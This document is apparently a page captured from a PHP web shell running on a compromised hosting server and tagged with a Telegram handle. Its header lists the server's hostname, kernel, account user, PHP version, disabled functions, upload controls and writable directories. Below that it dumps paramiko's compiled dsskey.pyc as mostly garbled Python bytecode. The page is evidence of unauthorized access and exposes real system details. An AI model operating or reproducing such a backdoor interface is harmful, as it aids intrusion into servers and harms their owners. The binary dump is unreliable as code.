https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /proc/self/root/lib/python2.7/site-packages/paramiko/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/lib/python2.7/site-packages/paramiko/dsskey.pyc
�
x�\c@s�dZddlmZddlmZddlmZmZddlm	Z	ddl
mZmZddl
mZddlmZdd	lmZdd
lmZddlmZmZddlmZd
efd��YZdS(s
DSS keys.
i����(tInvalidSignature(tdefault_backend(thashest
serialization(tdsa(tdecode_dss_signaturetencode_dss_signature(tutil(t	zero_byte(tSSHException(tMessage(tBERtBERException(tPKeytDSSKeycBs�eZdZddddddd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d�Zd	�Zdd
�Z
dd�Zeddd
��Zd�Zd�Zd�ZRS(sX
    Representation of a DSS key which can be used to sign an verify SSH2
    data.
    cCs;d|_d|_d|_d|_d|_d|_|dk	rV|j||�dS|dk	rv|j||�dS|dkr�|dk	r�t	|�}n|dk	r�|\|_|_|_|_nX|j
d|dddd�|j�|_|j�|_|j�|_|j�|_tj
|j�|_dS(Ntmsgtkey_typesssh-dsst	cert_typesssh-dss-cert-v01@openssh.com(tNonetptqtgtytxtpublic_blobt_from_private_keyt_from_private_key_fileR
t_check_type_and_load_certt	get_mpintRt
bit_lengthtsize(tselfRtdatatfilenametpasswordtvalstfile_obj((s3/tmp/pip-install-A1qMVe/paramiko/paramiko/dsskey.pyt__init__.s2							!	cCs`t�}|jd�|j|j�|j|j�|j|j�|j|j�|j�S(Nsssh-dss(R
t
add_stringt	add_mpintRRRRtasbytes(Rtm((s3/tmp/pip-install-A1qMVe/paramiko/paramiko/dsskey.pyR(Ss	
cCs
|j�S(N(R((R((s3/tmp/pip-install-A1qMVe/paramiko/paramiko/dsskey.pyt__str__\scCs+t|j�|j|j|j|jf�S(N(thashtget_nameRRRR(R((s3/tmp/pip-install-A1qMVe/paramiko/paramiko/dsskey.pyt__hash___scCsdS(Nsssh-dss((R((s3/tmp/pip-install-A1qMVe/paramiko/paramiko/dsskey.pyR,bscCs|jS(N(R(R((s3/tmp/pip-install-A1qMVe/paramiko/paramiko/dsskey.pytget_bitsescCs
|jdk	S(N(RR(R((s3/tmp/pip-install-A1qMVe/paramiko/paramiko/dsskey.pytcan_signhsc	Cs3tjd|jdtjd|jdtjd|jd|jd|j���j	dt
��}|j|tj
��}t|�\}}t�}|jd	�tj|d
�}tj|d
�}t|�dkr�tdt|�|}nt|�dkrtdt|�|}n|j||�|S(NRtpublic_numbersRtparameter_numbersRRRtbackendsssh-dssii(RtDSAPrivateNumbersRtDSAPublicNumbersRtDSAParameterNumbersRRRtprivate_keyRtsignRtSHA1RR
R&Rtdeflate_longtlenR(	RR tkeytsigtrtsR)trstrtsstr((s3/tmp/pip-install-A1qMVe/paramiko/paramiko/dsskey.pyt
sign_ssh_dataks&					'	
c	Cst|j��dkr'|j�}n(|j�}|dkrCdS|j�}tj|d d�}tj|dd�}t||�}tjd|j	dtj
d|jd	|jd
|j
��jdt��}y|j||tj��Wntk
rtSXtSdS(Ni(sssh-dssiiiRR1RRRR2(R:R(tget_textt
get_binaryRtinflate_longRRR4RR5RRRt
public_keyRtverifyRR8RtFalsetTrue(	RR RR<tkindtsigRtsigSt	signatureR;((s3/tmp/pip-install-A1qMVe/paramiko/paramiko/dsskey.pytverify_ssh_sig�s&			$
cCs�tjd|jdtjd|jdtjd|jd|jd|j���j	dt
��}|j||tj
jd	|�dS(
NRR0RR1RRRR2R"(RR3RR4RR5RRRR6Rt_write_private_key_fileRt
PrivateFormattTraditionalOpenSSL(RR!R"R;((s3/tmp/pip-install-A1qMVe/paramiko/paramiko/dsskey.pytwrite_private_key_file�s					'cCs�tjd|jdtjd|jdtjd|jd|jd|j���j	dt
��}|j||tj
jd	|�dS(
NRR0RR1RRRR2R"(RR3RR4RR5RRRR6Rt_write_private_keyRRORP(RR$R"R;((s3/tmp/pip-install-A1qMVe/paramiko/paramiko/dsskey.pytwrite_private_key�s					'icCsjtj|dt��j�}td|jjj|jjj|jjj	|jj
f�}|j|_|S(s$
        Generate a new private DSS key.  This factory function can be used to
        generate a new host key or authentication key.

        :param int bits: number of bits the generated key should be.
        :param progress_func: Unused
        :return: new `.DSSKey` private key
        R2R#(Rtgenerate_private_keyRtprivate_numbersRR0R1RRRRR(tbitst
progress_functnumbersR;((s3/tmp/pip-install-A1qMVe/paramiko/paramiko/dsskey.pytgenerate�s
cCs&|jd||�}|j|�dS(NtDSA(t_read_private_key_filet_decode_key(RR!R"R ((s3/tmp/pip-install-A1qMVe/paramiko/paramiko/dsskey.pyR�scCs&|jd||�}|j|�dS(NRZ(t_read_private_keyR\(RR$R"R ((s3/tmp/pip-install-A1qMVe/paramiko/paramiko/dsskey.pyR�scCs�yt|�j�}Wn)tk
rA}tdt|���nXt|�tk	svt|�dksv|ddkr�td��n|d|_|d|_	|d|_
|d|_|d	|_t
j|j�|_dS(
NsUnable to parse key file: iis3not a valid DSA private key file (bad ber encoding)iiiii(RtdecodeRR	tstrttypetlistR:RRRRRRRR(RR tkeylistte((s3/tmp/pip-install-A1qMVe/paramiko/paramiko/dsskey.pyR\�s4




N(t__name__t
__module__t__doc__RR%R(R*R-R,R.R/RARMRQRStstaticmethodRYRRR\(((s3/tmp/pip-install-A1qMVe/paramiko/paramiko/dsskey.pyR(s,											N(Rftcryptography.exceptionsRtcryptography.hazmat.backendsRtcryptography.hazmat.primitivesRRt)cryptography.hazmat.primitives.asymmetricRt/cryptography.hazmat.primitives.asymmetric.utilsRRtparamikoRtparamiko.commonRtparamiko.ssh_exceptionR	tparamiko.messageR
tparamiko.berRRt
paramiko.pkeyR
R(((s3/tmp/pip-install-A1qMVe/paramiko/paramiko/dsskey.pyt<module>s

https://t.me/AnonymousX5 - 2025